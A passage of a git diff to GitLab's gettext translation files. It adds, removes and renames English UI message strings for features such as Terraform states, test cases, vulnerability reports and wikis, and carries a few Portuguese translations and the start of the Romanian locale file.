-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "A etapa do problema mostra o tempo necessário para criar um problema para atribuir o problema a um objetivo ou adicionar o problema a uma lista no teu Painel de Problemas. Começa a criar problemas para ver os dados desta etapa."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "A fase de preparação mostra o tempo entre a mesclagem do PM e a implem
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr "Esta confirmação faz parte do pedido de mesclagem %{link_to_merge_requ
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr "Enviar ficheiro CSV"
@@ -28847,6 +29470,9 @@ msgstr "Enviar um certificado para o teu domínio com todos os intermediários"
msgid "Upload a private key for your certificate"
msgstr "Enviar uma chave privada do teu certificado"
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Enviar ficheiro"
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr ""
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr "Não tens permissão para executar o Terminal de Web. Por favor, contacta um administrador de projeto."
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,13 +32007,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31467,6 +32177,12 @@ msgstr[1] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,7 +32395,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32443,9 +33177,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32476,10 +33207,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32488,6 +33219,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32497,6 +33231,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32569,6 +33306,11 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index 2c4786bbb63..dbc70c40e91 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:39\n"
+"PO-Revision-Date: 2020-12-03 08:07\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -85,6 +85,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -184,14 +190,14 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -406,22 +412,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
